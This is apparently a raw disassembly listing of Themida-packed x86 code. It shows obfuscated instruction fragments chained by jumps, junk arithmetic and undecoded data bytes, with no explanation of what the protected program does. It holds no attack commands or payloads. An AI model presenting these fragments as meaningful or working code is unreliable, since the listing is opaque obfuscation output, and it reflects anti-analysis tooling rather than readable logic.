ebx push esp jmp loc_543B4E ; --------------------------------------------------------------------------- loc_547928: ; CODE XREF: Themida_:0054520Dj push 21F4h jmp loc_549593 ; --------------------------------------------------------------------------- dw 0E381h dd 52922D00h, 0E381DBF7h, 667649F3h, 29ECE9h, 0B9515700h dd 6AF34BBAh, 0C181D1F7h, 8BD94DBEh, 0FFECFFE9h db 0FFh ; --------------------------------------------------------------------------- loc_547959: ; CODE XREF: Themida_:00543B67j mov [esp], eax sub esp, 4 mov [esp], edi push ebx jmp loc_544227 ; --------------------------------------------------------------------------- dd 0CE450C68h, 243C8B27h, 8904EC83h, 0A4E9242Ch, 81FFFFD9h dd 42404h, 34FF0000h, 24048B24h, 8104C483h, 4C4h, 63C8E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_547996: ; CODE XREF: Themida_:00548A3Cj mov ebx, 387C16BAh jmp loc_545539 ; --------------------------------------------------------------------------- dd 42474FFh, 24048F5Ah, 0E924248Bh, 0FFFFC070h, 4C481h dd 0B7E90000h db 16h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5479BB: ; CODE XREF: Themida_:0054B251j mov ebx, [esp] add esp, 4 add edi, edx mov edx, [esp] add esp, 4 xor eax, edi pop edi add ebp, eax pop eax xchg ebp, [esp] mov esp, [esp] shl word ptr [esp], cl pushf jmp loc_543A20 ; --------------------------------------------------------------------------- aNh db 'hÛ!',0 align 4 dd offset dword_457444+57A5h db 0 ; --------------------------------------------------------------------------- loc_5479ED: ; CODE XREF: Themida_:0054FB53j inc ecx inc ecx jmp loc_5490EC ; --------------------------------------------------------------------------- dd 0B0240489h, 888F04C5h, 24048BC6h, 0E904C483h, 146Ah dd 0C006E0C0h, 0AE3408E0h, 28C4C280h, 0C4EA80C2h, 0DB64E958h dd 431FFFFh, 24043324h, 6B3EE9h db 0 ; --------------------------------------------------------------------------- loc_547A29: ; CODE XREF: Themida_:0054BC15j xor ecx, 1CEC5D48h push eax jmp loc_545486 ; --------------------------------------------------------------------------- db 0FFh, 77h, 1Ch dd 1858669Dh, 0E99C2404h, 0FFFFBFDCh, 8704C483h, 505C243Ch dd 0E904EC83h, 57ADh, 34FFFB01h, 0C4815F24h, 4, 4EB81h dd 1C870000h, 4895C24h, 245DB824h, 0C5897B9Bh, 0D2EE9h db 0 ; --------------------------------------------------------------------------- loc_547A79: ; CODE XREF: Themida_:005494C9j not bh xor bh, 0DEh not bh sub bh, 42h sub bh, 30h jmp loc_54A007 ; --------------------------------------------------------------------------- db 0E9h dd 0FFFFBF90h, 2414335Fh, 33241431h, 248B2414h, 0C8B6624h dd 0E7895724h, 15BA5253h, 0F7123D27h, 362EE9DAh, 8B660000h dd 54512404h, 81240C8Bh, 4C4h, 88B85000h, 0F70C036Eh, 53E948D0h dd 0FFFFFFDDh, 0E9582434h, 0C21h ; --------------------------------------------------------------------------- loc_547AD8: ; CODE XREF: Themida_:0054CD89j pop esi jmp loc_54C1E2 ; --------------------------------------------------------------------------- dw 0C8Bh dd 4C48124h, 0FF000000h, 4DE91C77h, 0B9FFFFF9h, 4380244Fh dd 2451BD55h, 0EF894380h, 8BCF295Dh, 0C481240Ch, 4, 3E61BA52h dd 0D001114Fh, 0D7DEE95Ah, 0F801FFFFh, 0F5B685Fh, 79E90000h db 43h, 2 dup(0) ; --------------------------------------------------------------------------- loc_547B23: ; CODE XREF: Themida_:0054B395j add edi, esi pop esi add edi, 4 push edi push dword ptr [esp+4] pop edi pop dword ptr [esp] pop esp or edx, eax jmp loc_54EAF9 ; --------------------------------------------------------------------------- loc_547B3D: ; CODE XREF: Themida_:005483C4j pop esi push edi push 72D45F85h pop edi and ebx, edi pop edi add ebx, 0CF83BC80h and eax, ebx push dword ptr [esp] pop ebx add esp, 4 shr eax, 12h xor eax, ecx xor eax, edx xor edx, eax xor eax, edx jmp loc_544A32 ; --------------------------------------------------------------------------- loc_547B67: ; CODE XREF: Themida_:0054EB1Bj sub esi, edi pop edi push eax mov eax, 24h add eax, edi push 816h mov [esp], edx mov edx, 0 jmp loc_54F712 ; --------------------------------------------------------------------------- loc_547B84: ; CODE XREF: Themida_:0054D9DDj xor edx, edi xor edi, edx xchg edi, [esp] push dword ptr [esp] pop eax jmp loc_54BF1F ; --------------------------------------------------------------------------- dd 0E951E789h, 1344h, 2434875Ah, 10B9E95Ch, 8FB90000h dd 0E931E87Fh, 2B37h, 585DEE01h, 601CBB53h, 0DE29AA1Ch dd 6AEDE95Bh, 595E0000h, 4C181h, 4CE90000h, 50000076h dd 0B061B353h, 5BD800E5h, 0B353C8FEh, 5BD80846h, 74E9D8F6h dd 40000049h, 5B04E9h, 1C77FF00h, 411589Dh, 25E99C24h dd 81FFFFBEh, 20E42434h, 815B30BCh, 0BC20E4F3h, 0D8315F30h dd 83241C8Bh, 0C33104C4h, 576468h, 24048900h, 0FFBDFFE9h dd 0C875EFFh, 0E896E924h, 0C781FFFFh, 4, 4C781h, 3C870000h dd 0EC815C24h, 4, 0E9243C89h, 0FFFFFD20h, 0C004C483h, 0D2F603EAh dd 0FE1CB551h, 0DEE580C5h, 8082C580h, 0ED800EF5h, 59EA307Bh dd 0E9A6E280h, 723Ah, 1A47E95Eh, 77FF0000h, 59669D1Ch dd 9C241CD2h, 0FFBD9FE9h, 0E78957FFh, 4C781h, 0C7810000h dd 4, 6349E9h, 213A6800h, 555D6DEFh, 7B0FBA52h, 54011D78h dd 5E5A0424h, 1938E951h, 525A0000h, 0D2F6AEB2h, 2414F652h dd 35EDE95Ah, 4870000h, 4895C24h, 5E08924h, 4, 33B368h dd 241C8900h, 7C2DE9h db 0 ; --------------------------------------------------------------------------- loc_547CD9: ; CODE XREF: Themida_:0054780Bj jmp dword ptr [edi+eax*4] ; --------------------------------------------------------------------------- dd 51ADC361h, 0F4638CB9h, 0F1F18146h, 0E903A911h, 40F5h dd 0FB68C201h, 89000072h, 73B82404h, 13CE364h, 7CA3E9C2h dd 8F5A0000h, 895C2404h, 1B68242Ch, 0E9000007h, 6FB6h ; --------------------------------------------------------------------------- loc_547D18: ; CODE XREF: Themida_:00544C85j and eax, ebx mov ebx, [esp] push edi mov edi, esp sub esp, 4 mov [esp], esi mov esi, 3D1B78BCh add esi, 38A46CD8h jmp loc_54F564 ; --------------------------------------------------------------------------- db 81h, 0C9h, 50h dd 0C1509138h, 0E18103E1h, 14F85237h, 468BE56h, 0E6C165DEh dd 5EEC107h, 69B85046h, 8161E403h, 927ACEEEh, 0E9C62903h dd 0FFFFBF5Fh, 5859CF88h, 3BA68h, 0F03CE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_547D76: ; CODE XREF: Themida_:0054903Fj add ax, bx jmp loc_547770 ; --------------------------------------------------------------------------- dw 4E5Ah dd 8105EEC1h, 30BB0AEEh, 5EF50103h, 8704C583h, 248B242Ch dd 24043124h, 277DE9h, 0E9F18800h, 5F14h, 0C9242C81h, 16BC601h dd 4812404h, 0C601C924h, 0EFB8506Bh, 8168080Ch, 24042444h dd 2904F550h, 0E9042444h, 0FFFFBCC0h, 0F528E957h, 0A6B7FFFFh dd 1114E9h, 0E9515A00h, 0F65h, 0C781DF01h, 195021D9h, 0C31E95Bh dd 0D3290000h, 444CC381h, 82E924B5h db 0E0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_547DFB: ; CODE XREF: Themida_:00546EC8j add edi, 4 add edi, 4 push edi push dword ptr [esp+4] mov edi, [esp] add esp, 4 pop dword ptr [esp] jmp loc_54E110 ; --------------------------------------------------------------------------- db 89h, 34h, 24h dd 9136D0BEh, 5EF101A5h, 0F0DC281h, 0CA015199h, 7DD9BD55h dd 0F58117C8h, 465172D4h, 8B5DEA29h, 0C481240Ch, 4, 0EA81C201h dd 73EA35B8h, 0FFBBCBE9h, 885350FFh, 5BDC88D3h, 5228E9h dd 5BFA0000h, 0E95AD000h, 30C0h ; --------------------------------------------------------------------------- loc_547E6C: ; CODE XREF: Themida_:0054F80Aj xor edi, 0B7E9C003h jmp loc_545AE9 ; --------------------------------------------------------------------------- loc_547E77: ; CODE XREF: Themida_:0054E968j xchg eax, [esp] pop esp push ebp mov ebp, 60C82B26h not ebp push ebx jmp loc_54E272 ; --------------------------------------------------------------------------- db 0BDh, 4, 0 dd 0EB010000h, 4B46E95Dh db 2 dup(0) ; --------------------------------------------------------------------------- loc_547E96: ; CODE XREF: Themida_:005484DFj pop edi push ebp mov ebp, 4 add edi, ebp mov ebp, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp push 79D1h mov [esp], esi jmp loc_5499B5 ; --------------------------------------------------------------------------- aAhF db 'Ah F',0 dd 24348900h, 8D1614BEh, 90FE94Bh, 0EC810000h, 4, 0B4240489h dd 0E9CCFE8Ah, 467Eh, 0C2AD7BAh, 57BF57AFh, 16AE25Ch, 0D6295FFEh dd 5C57EE81h, 315A6AE2h, 4DE95EF1h, 83000050h, 0DFF604C4h dd 38E4E9h, 81425B00h, 0FF5DD0F2h, 5AD7017Bh, 2E4AE9h dd 48B6600h, 2C6EE924h, 0F2810000h, 49E20D98h, 0E906E2C1h dd 36F5h, 4240483h, 4C6815Eh, 50000000h, 33F5EB8h, 3F5A2D40h dd 0C6014003h, 0BCAFE958h, 0EE81FFFFh, 0D8AFB5B4h, 348BF189h dd 4C48124h, 0E9000000h, 257Eh ; --------------------------------------------------------------------------- loc_547F68: ; CODE XREF: Themida_:0054D5F6j sub dh, 13h push ax mov al, 7Ah jmp loc_54C544 ; --------------------------------------------------------------------------- loc_547F74: ; CODE XREF: Themida_:0054A852j pop ebx xor [esp+4], ecx mov ecx, [esp] add esp, 4 mov eax, [esp] add esp, 4 push edx jmp loc_54BF39 ; --------------------------------------------------------------------------- dw 0C483h dd 0B0F68104h, 5F5DBF37h, 8904EC83h, 5E5B2434h, 0FFBA7BE9h dd 242C89FFh, 22BAE9h db 0 ; --------------------------------------------------------------------------- loc_547FAD: ; CODE XREF: Themida_:00545025j push 531Ch mov [esp], ebp push esp pop ebp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp shr eax, 0Bh xor ecx, eax sub esp, 4 mov [esp], edi push 1BAFh mov [esp], ebx pop edi push 7684h jmp loc_54A485 ; --------------------------------------------------------------------------- db 81h, 0C4h, 4 dd 51000000h, 4B9h, 0FFCD0100h, 81592434h, 4C4h, 4BF5700h dd 1000000h, 2C335FFDh, 9BE924h, 0D9F70000h, 0C3A3F181h dd 0EF818235h, 22EC4DEDh, 0C781CF01h, 22EC4DEDh, 3754E9h db 0 ; --------------------------------------------------------------------------- loc_548029: ; CODE XREF: Themida_:0054467Bj sub eax, edi pop edi jmp loc_54D24D ; --------------------------------------------------------------------------- db 81h, 0C3h, 0E2h dd 812F457Fh, 4528F0C2h, 6C28105h, 295E853Ah, 6EA81C2h dd 835E853Ah, 3C8904ECh, 0B5685024h, 8B0D9D21h, 0C4832404h dd 1FB0E904h, 0E9530000h, 20F4h ; --------------------------------------------------------------------------- loc_548068: ; CODE XREF: Themida_:00545A92j inc edi add edi, 0B198DE2Dh add ebp, edi pop edi jmp loc_54A7CC ; --------------------------------------------------------------------------- aNh0 db 'h=0',0 dd 24348900h, 0D91330BEh, 464AE976h, 48B0000h, 0D158E924h dd 0C481FFFFh, 4, 4CF1E9h, 0C1815900h, 43AC28ADh, 0FFCEF5E9h dd 242C31FFh, 8B242C33h, 0BE0F2424h, 52EF68C8h, 0C890000h dd 0B95EE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5480C2: ; CODE XREF: Themida_:0054B99Cj push 1CEFh mov [esp], esp add dword ptr [esp], 4 pop ebp jmp loc_54A953 ; --------------------------------------------------------------------------- loc_5480D7: ; CODE XREF: Themida_:0054C8ABj and eax, ecx jmp loc_54F221 ; --------------------------------------------------------------------------- dw 0EC81h dd 4, 52240C89h, 0EE8046B6h, 79E1E9ECh, 0EF810000h, 6D6F04E4h dd 0BC5685Bh, 0D5E90000h db 0E0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_548103: ; CODE XREF: Themida_:0054679Ej shl ecx, 1 sub ecx, 171B0B14h shr ecx, 6 jmp loc_5449E8 ; --------------------------------------------------------------------------- aP_la@s6l db 'P¸Ù_«a@é6l',0 db 0 ; --------------------------------------------------------------------------- loc_54811F: ; CODE XREF: Themida_:00549661j mov ebx, [esp] push esi jmp loc_545861 ; --------------------------------------------------------------------------- loc_548128: ; CODE XREF: Themida_:005499F2j push ebx sub dword ptr [esp], 0A967B45h mov ecx, [esp] push ebp mov ebp, esp add ebp, 4 jmp loc_545B35 ; --------------------------------------------------------------------------- aMaOaqj db '·¬€Ço€ïj',0 dw 80CFh dd 0EF806AC7h, 240C8B6Fh, 8804C483h, 241C8BF9h, 4C481h dd 0A9E90000h db 0D8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_548167: ; CODE XREF: Themida_:005468C6j neg ebx xor ebx, 51593359h or ebx, 71A95B80h push ebp mov ebp, 0C522069h jmp loc_545E04 ; --------------------------------------------------------------------------- dd 80F4C680h, 0F0007DC6h, 0FFE17FE9h, 4EC81FFh, 89000000h dd 0BB53240Ch, 5EB466EDh, 0F708E3C1h, 5E3C1D3h, 4307EBC1h dd 0EB89EB81h, 17E997AFh, 29000064h, 2FE95FF9h db 5Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_5481BB: ; CODE XREF: Themida_:0054B16Bj push ecx mov ecx, 0EC56AF8h xor ecx, 7DFE3BF2h shl ecx, 5 add ecx, 0F4EF04C0h sub edi, ecx pop ecx inc edi shr edi, 1 shl edi, 7 xor edi, 150B5504h add esi, edi jmp loc_54A6D8 ; --------------------------------------------------------------------------- dw 0D901h dd 1CD2E981h, 1C8B1B43h, 4C48124h, 56000000h, 41AFE9h dd 7DC18100h, 0E9379858h, 304Eh, 4C381h, 0C3830000h, 241C8704h dd 4720E9h, 33BE5600h, 81547F5Fh, 0FAAE55C6h, 5EF389B5h dd 0E95BDF29h, 7521h, 4467EA81h, 0EAC16D02h, 28F3E906h dd 0EC810000h, 4, 54243489h, 2142E95Eh, 0BB530000h, 0C9D43FCh dd 55BD901h, 1EE523E4h, 0FFE77AE9h, 24048BFFh, 0E904C483h dd 4C6Dh, 575ABF57h, 0B850081Bh, 0C492E12h, 0EE4ED72Dh dd 3CFA0D5Fh, 0D8F71DB3h, 2414F750h, 7BE94058h, 89FFFFCDh dd 4BF243Ch, 1000000h, 0BF575FFEh, 2, 2BAEE9h db 0 ; --------------------------------------------------------------------------- loc_5482A5: ; CODE XREF: Themida_:005467EBj mov bx, 1B79h jmp loc_549038 ; --------------------------------------------------------------------------- dw 0E189h dd 0FFFE5EE9h, 335E5FFFh, 0C31240Ch, 2951E924h, 3C870000h dd 34895C24h, 2BE24h, 0BD550000h, 40285C78h, 28C2EB81h dd 0EB297A0Fh, 28C2C381h, 15D7A0Fh, 34BF57F3h, 686F1A5Eh dd 0 dd 9C240481h, 293D5B33h, 2C81243Ch, 5B339C24h, 47475F3Dh dd 32E9DFF7h, 1000051h, 4335AD0h, 24043124h, 8B240433h dd 0C1382424h, 0B6FEE99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_548322: ; CODE XREF: Themida_:0054521Aj mov edi, [esp] push eax push esp jmp loc_54B006 ; --------------------------------------------------------------------------- dd 83241C8Bh, 0D80004C4h, 0FE49B252h, 3C38E9C2h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54833E: ; CODE XREF: Themida_:0054C835j mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp shr eax, 0Ch xor eax, ecx push 6634h jmp loc_549FA4 ; --------------------------------------------------------------------------- dd 4C181h, 0E9810000h, 4, 0FFCA03E9h db 0FFh ; --------------------------------------------------------------------------- loc_54836D: ; CODE XREF: Themida_:0054784Dj add edi, ecx jmp loc_546D85 ; --------------------------------------------------------------------------- loc_548374: ; CODE XREF: Themida_:0054DF20j pop esi mov eax, edx pop edx push edx mov edx, 8DC3C16h jmp loc_54A2F4 ; --------------------------------------------------------------------------- loc_548383: ; CODE XREF: Themida_:0054D1E0j push 33725474h mov ecx, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 push ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] jmp loc_544B1B ; --------------------------------------------------------------------------- loc_5483A5: ; CODE XREF: Themida_:00545371j mov esi, [esp] add esp, 4 and ebx, 64D071E2h shr ebx, 6 sub esp, 4 mov [esp], esi mov esi, 34BB2339h xor ebx, esi jmp loc_547B3D ; --------------------------------------------------------------------------- db 66h, 58h, 28h dd 240C8BEBh, 0FFB96CE9h, 0E9D601FFh, 321Eh, 1C8BDA29h dd 0E2895224h, 4C281h, 21E90000h, 0FF000035h, 8B042474h dd 0C4832404h, 24048F04h, 0FFC889E9h, 14875DFFh, 0B8B5E924h dd 478FFFFFh, 0B60EE940h, 489FFFFh, 0B606E924h, 0BE56FFFFh dd 25DF311Bh, 0D1D6F746h, 67CE81EEh, 8127CB32h, 24888DC6h dd 5EF78990h, 3043BF57h, 0FD01294Bh, 0E9FD015Fh, 16DAh dd 0E99C5166h, 0FFFFB9A0h, 2D58C101h, 3B6C3746h, 4605C829h dd 593B6C37h, 4867F405h, 56D82928h, 0FFC521E9h db 0FFh ; --------------------------------------------------------------------------- loc_548469: ; CODE XREF: Themida_:0054E66Dj pop ecx sub ebx, 7B45B48Eh add edi, ebx jmp loc_54938B ; --------------------------------------------------------------------------- db 52h dd 4BAh, 5AD60100h, 4B951h, 0CE010000h, 183DE9h, 2DBE6800h dd 0F7596E16h, 4BF181D1h, 89D3489Ch, 0DE959CDh db 6Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_5484A3: ; CODE XREF: Themida_:0054D3F6j mov [esp], edi mov edi, 60977B8Ah push ebx mov ebx, 7D8F3044h xor edi, ebx pop ebx push edi xor dword ptr [esp], 2653144Bh pop edx xor edx, 2653144Bh mov edi, [esp] add esp, 4 jmp loc_54CE10 ; --------------------------------------------------------------------------- loc_5484CE: ; CODE XREF: Themida_:0054CD79j add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edi push esp jmp loc_547E96 ; --------------------------------------------------------------------------- dd 5DEB295Ah, 5A7BBE56h, 8BE91403h, 0AD000043h, 0ED08072Dh dd 1BD6E914h, 48F0000h, 24048124h, 4, 0E9E9575Bh, 59000047h dd 2474FF56h, 48F5E04h, 0B9E95C24h, 83FFFFBFh, 0F32904C4h dd 0A0C3815Eh, 13C8E0Ah, 0F0E950C3h, 5E00003Ah, 4C681h dd 0C6830000h, 24348704h, 4EC835Ch, 68243C89h, 7247h, 56240489h dd 0A47357BEh, 5EF08945h, 6852D8F7h, 29A220DAh, 4E2C15Ah dd 0FFE9A3E9h, 0C2815AFFh, 4, 3304EA83h, 14312414h, 24143324h dd 8924248Bh, 4812424h, 424h, 58685A00h, 89000036h, 4BB241Ch dd 1000000h, 0C2815BDAh, 2, 31241433h, 14332414h, 1C1AE924h dd 89660000h, 69E92404h db 0B4h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5485B7: ; CODE XREF: Themida_:005490F4j mov ecx, [esp] add esp, 4 add edi, ebx add edi, 4793757Fh pop ebx std push 5F6Ch jmp loc_5472DF ; --------------------------------------------------------------------------- dd 25D0F75Bh, 7FF86441h, 4352E9h, 0E9F10100h, 0FFFFF639h dd 582434FFh, 51EA68h, 242C8900h, 8956E589h, 4C681E6h dd 83000000h, 348704EEh, 67E95C24h, 66FFFFCBh, 0E924048Bh dd 0FFFFD512h, 4C481h db 2 dup(0) ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp add esi, 4 push eax push 7B4Eh mov [esp], ebp mov ebp, 4FEE4BA9h mov eax, 4FEE4BABh xor eax, ebp pop ebp add esi, eax mov eax, [esp] push edi mov edi, esp jmp loc_54899D ; --------------------------------------------------------------------------- db 89h dd 4C681E6h, 51000000h, 5A4F68h, 0B773E900h, 5758FFFFh dd 42474FFh, 24048F5Fh, 2434FF5Ch, 83240C8Bh, 2EE904C4h dd 5E000006h, 8B1C5709h, 8FE92414h db 6Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_54868B: ; CODE XREF: Themida_:0054BA8Fj mov [esp], edx push 7550h jmp loc_54507B ; --------------------------------------------------------------------------- loc_548698: ; CODE XREF: Themida_:00545F09j mov eax, [esp] push eax jmp loc_545FA7 ; --------------------------------------------------------------------------- loc_5486A1: ; CODE XREF: Themida_:00546FBBj mov [esp], eax push esp pop eax push edi mov edi, 1D7D7A8Eh sub edi, 1D7D7A8Ah add eax, edi mov edi, [esp] add esp, 4 add eax, 4 xchg eax, [esp] mov esp, [esp] not ebp xchg ebp, edx jmp loc_54CAC2 ; --------------------------------------------------------------------------- db 83h dd 1C8704C4h, 24248B24h, 8B2434FFh, 0B4E92404h, 89000013h dd 0E6892434h, 0EFCCE957h, 0C781FFFFh, 4, 472DE9h, 0E9545000h dd 0FFFFCCC0h, 0EA81EA87h, 44C777F0h, 0B8EA8142h, 0E9A744A8h dd 2510h, 38454D35h, 58C63114h, 0DCD5E955h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_548722: ; CODE XREF: Themida_:0054BBC4j sub [esp+4], ebx pop ebx pop eax jmp loc_54B0C7 ; --------------------------------------------------------------------------- db 50h, 0B8h, 0D4h dd 251E471Ch, 175610CEh, 0E9D0F748h, 0FFFFDED1h, 0D358EF68h dd 0D7F75F0Ah, 3889E781h, 0EF81669Fh, 640C1FFEh, 3C8BFE89h dd 4C48124h, 2D000000h, 4484354Fh, 720AE9h, 240C8900h dd 0FFF435E9h db 0FFh ; --------------------------------------------------------------------------- loc_548771: ; CODE XREF: Themida_:0054D695j add eax, 6EE447DCh pop ebp sub ebx, eax push dword ptr [esp] jmp loc_54C69E ; --------------------------------------------------------------------------- loc_548781: ; CODE XREF: Themida_:00548D51j push dword ptr [esp+4] pop edx pop dword ptr [esp] jmp loc_54AA8E ; --------------------------------------------------------------------------- dw 7CBAh dd 0E93C445Fh, 0FFFFCFCBh, 100868h, 24148900h, 9E95355h dd 0FF00003Bh, 0E9582434h, 3836h, 89243489h, 0FCBDE9E6h dd 0ADB2FFFFh, 281CF280h, 24148BD3h, 0E904C483h, 40B8h dd 1D2ABE56h, 65052815h, 533D879h, 6AE4733Ah, 466BE9h dd 5EF13100h, 7F37172Dh, 0E9C80149h, 2DA0h, 4C381h, 1C870000h dd 24248B24h, 0FDE5EE81h, 8B5648A0h, 0DDE9240Ch, 0FF000029h dd 669D1C77h, 2414D259h, 0B206E99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54881A: ; CODE XREF: Themida_:0054DB27j mov eax, 210611Fh sub ebx, eax pop eax and eax, ebx jmp loc_54786F ; --------------------------------------------------------------------------- loc_548829: ; CODE XREF: Themida_:00549CC5j add eax, 3B8746C0h push 7078h jmp loc_545AFB ; --------------------------------------------------------------------------- dd 592434FFh, 72ABE9h, 1A00BB00h, 0D3F70E43h, 0D4BCEB81h dd 68E9AA59h, 8B000058h, 0C481242Ch, 4, 6CFC685Eh, 1C890000h dd 68525724h, 62322525h, 3EAC15Ah, 1EA81h, 0C2810000h dd 32CEDACEh, 4F5AD789h, 0C783D7F7h, 621B68FFh, 1C890000h dd 0F987E924h, 0B951FFFFh, 26C3017Ch, 5508E9C1h, 6918F2BDh dd 8BE93154h, 0C483242Ch, 0D5F18104h, 5256D662h, 6646DEBAh dd 5AD101FDh, 0C8BC801h, 4C48324h, 42Dh, 24048700h, 2434895Ch dd 8904EC83h, 4832424h, 815E0424h, 4C6h, 2C68100h, 33000000h dd 34312434h, 24343324h, 0C8B665Ch, 0FF545624h, 73E92434h dd 8100005Ah, 4EDh, 242C8700h, 2434895Ch, 45E668h, 243C8900h dd 0BFh, 15E5E900h, 575B0000h, 4BFh, 0F12EE900h, 0EC81FFFFh dd 4, 54243489h, 2468535Eh, 0E968E83Bh, 4197h ; --------------------------------------------------------------------------- loc_54893C: ; CODE XREF: Themida_:005474C1j mov ebx, 4 jmp loc_54B568 ; --------------------------------------------------------------------------- dw 248Bh dd 66E1F624h, 57CCB60Fh, 0EAE9E789h db 60h, 2 dup(0) ; --------------------------------------------------------------------------- loc_548957: ; CODE XREF: Themida_:0054D6C8j mov edx, esi pop esi jmp loc_544B8B ; --------------------------------------------------------------------------- loc_54895F: ; CODE XREF: Themida_:00547365j pop edx add edi, 2 jmp loc_545C1F ; --------------------------------------------------------------------------- loc_54896B: ; CODE XREF: Themida_:0054AF91j sub ebp, 31090B1Eh jmp loc_54D69A ; --------------------------------------------------------------------------- dw 6658h dd 30F0B151h, 0FE5966CAh, 5D59E9CAh db 2 dup(0) ; --------------------------------------------------------------------------- loc_548986: ; CODE XREF: Themida_:005476B5j mov [esp], esi push 81094Ah mov esi, [esp] jmp loc_54F442 ; --------------------------------------------------------------------------- aPSM db 'P^éÏM',0 db 0 ; --------------------------------------------------------------------------- loc_54899D: ; CODE XREF: Themida_:0054864Ej add edi, 4 add edi, 4 xchg edi, [esp] pop esp xchg esi, [esp] pop esp imul cx, ax push cx pushf jmp loc_543A20 ; --------------------------------------------------------------------------- dw 5558h dd 0AA2AE6BDh, 81DDF74Ch, 4ECh, 243C8900h, 994E55BFh, 5FFD2170h dd 3C82E9h db 0 ; --------------------------------------------------------------------------- loc_5489D9: ; CODE XREF: Themida_:00548A7Bj mov ebx, [esp] add esp, 4 pop dword ptr [esp] mov esp, [esp] jmp loc_54502A ; --------------------------------------------------------------------------- dw 55ADh dd 0EE37E7BDh, 0BDED8148h, 2920D91Ah, 86055DE8h, 2979044Eh dd 4E862DD8h, 0C1E97904h, 0BFFFFFFDh, 4, 575FF801h, 8904EC83h dd 0E5E92404h, 81FFFFD7h, 2C7h, 34BA6800h, 3C890000h, 2474FF24h dd 243C8B04h, 498CE9h db 0 ; --------------------------------------------------------------------------- loc_548A39: ; CODE XREF: Themida_:0054779Cj mov [esp], ebx jmp loc_547996 ; --------------------------------------------------------------------------- db 89h, 30h, 8Bh dd 0C4832434h, 0AFD2E904h, 0C601FFFFh, 469DEE81h, 0E9526FA9h dd 0FFFFFD32h, 0E9240C89h, 0A87h ; --------------------------------------------------------------------------- loc_548A64: ; CODE XREF: Themida_:0054EF95j mov esi, ebx pop ebx add ebx, 65125BDAh add ebx, esi sub ebx, 65125BDAh pop esi push ebx push dword ptr [esp+4] jmp loc_5489D9 ; --------------------------------------------------------------------------- dd 0F20FE955h, 0FD01FFFFh, 0FFD7D0E9h, 243C89FFh, 8904EC83h dd 4832424h, 555F0424h, 6F3D27BDh, 15D4E95Fh, 0CD010000h dd 242C3359h, 33242C31h, 248B242Ch, 0B30F6624h, 0E99C2404h dd 0FFFFAF60h ; --------------------------------------------------------------------------- loc_548AC0: ; CODE XREF: Themida_:0054C721j push 7184h mov [esp], ecx push 620A0072h mov ecx, [esp] add esp, 4 shr ecx, 6 push ecx xchg eax, [esp] push eax jmp loc_54AEA0 ; --------------------------------------------------------------------------- dd 0BB04D8F6h, 8BE9C228h, 83FFFFFEh, 96E904C1h, 0FFFFFFC2h dd 8B042474h, 33E92404h, 2900006Bh, 0BCE955F1h, 81FFFFB4h dd 747509F6h, 0E560E9F7h, 0E951FFFFh, 5307h ; --------------------------------------------------------------------------- loc_548B18: ; CODE XREF: Themida_:0054CEC1j add ebx, 4 add ebx, 4 xchg ebx, [esp] jmp loc_54C5E4 ; --------------------------------------------------------------------------- db 81h, 0C5h, 4 dd 0E9000000h, 0FFFFC3BDh, 333FBF57h, 0F92973E2h, 6CCEE9h dd 81E5D100h, 0EB05EEC5h, 1732E921h, 0FB890000h, 50ACE9h db 0 ; --------------------------------------------------------------------------- loc_548B55: ; CODE XREF: Themida_:00545D66j xchg edi, [esp] mov esp, [esp] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp sub esp, 4 jmp loc_54D4D9 ; --------------------------------------------------------------------------- db 1 dd 8B04247Ch, 0E956243Ch, 56B7h ; --------------------------------------------------------------------------- loc_548B80: ; CODE XREF: Themida_:00546E0Aj pop di sub si, cx jmp loc_54F1DF ; --------------------------------------------------------------------------- dw 295Bh dd 54E95EF2h, 68FFFFECh, 267Ah, 88241489h, 0D08850CAh dd 5A58C388h, 0E9240C8Bh, 0FFFFD41Dh ; --------------------------------------------------------------------------- loc_548BAC: ; CODE XREF: Themida_:0054CB27j mov eax, [esp] jmp loc_549F50 ; --------------------------------------------------------------------------- loc_548BB4: ; CODE XREF: Themida_:005440C7j mov [esp], esi push ebx jmp loc_54F31C ; --------------------------------------------------------------------------- db 81h, 0EAh, 4 dd 0E9000000h, 5F88h, 0D0DEA81h, 0EA814A43h, 778EE309h dd 895AD631h, 0C1815EF2h, 591D7485h, 0E981D101h, 591D7485h dd 5724148Bh, 0C781E789h, 4, 8704C783h, 685C243Ch, 3BCAh dd 0BA241489h, 4B6D0FBDh, 2F44F281h, 0C28112C2h, 0B120603h dd 431AE9h, 3EE95E00h, 0C1000001h, 0E3C103EBh, 6FB85002h dd 0C113B37Ch, 0D8F708E0h, 2361232Dh, 480F2D15h, 0A350ECCh dd 21744BFEh, 0C38158C3h, 7A766486h, 64C2EB81h, 32059686h dd 15C2707h, 7322DD8h, 47E95C27h, 0E900002Fh, 69C6h ; --------------------------------------------------------------------------- loc_548C64: ; CODE XREF: Themida_:0054A8CFj pop esi mov ebx, ebp pop ebp sub ebx, ecx mov ecx, [esp] add esp, 4 push ecx mov ecx, 316A1E25h sub ebx, ecx jmp loc_54D116 ; --------------------------------------------------------------------------- db 56h, 68h, 2 dd 5E000000h, 0A56CB32Dh, 0D401E950h db 2 dup(0FFh) ; --------------------------------------------------------------------------- 